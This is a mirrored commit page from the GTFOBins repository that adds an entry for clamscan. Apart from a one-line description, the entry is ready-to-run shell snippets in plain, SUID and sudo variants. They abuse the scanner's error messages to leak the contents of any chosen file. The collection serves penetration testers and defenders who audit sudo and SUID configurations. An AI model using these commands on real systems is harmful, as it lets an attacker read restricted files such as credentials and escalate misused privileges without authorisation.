mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add clamscan
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
2cf1a72bc5
commit
5b93637ab4
22
_gtfobins/clamscan.md
Normal file
22
_gtfobins/clamscan.md
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
---
|
||||||
|
description: Each line of the file is interpreted as a path and the content is leaked via error messages, thus this might not be suitable to read binary files. The output can optionally be cleaned using `sed`.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
touch $TF/empty.yara
|
||||||
|
clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
touch $TF/empty.yara
|
||||||
|
./clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
touch $TF/empty.yara
|
||||||
|
sudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user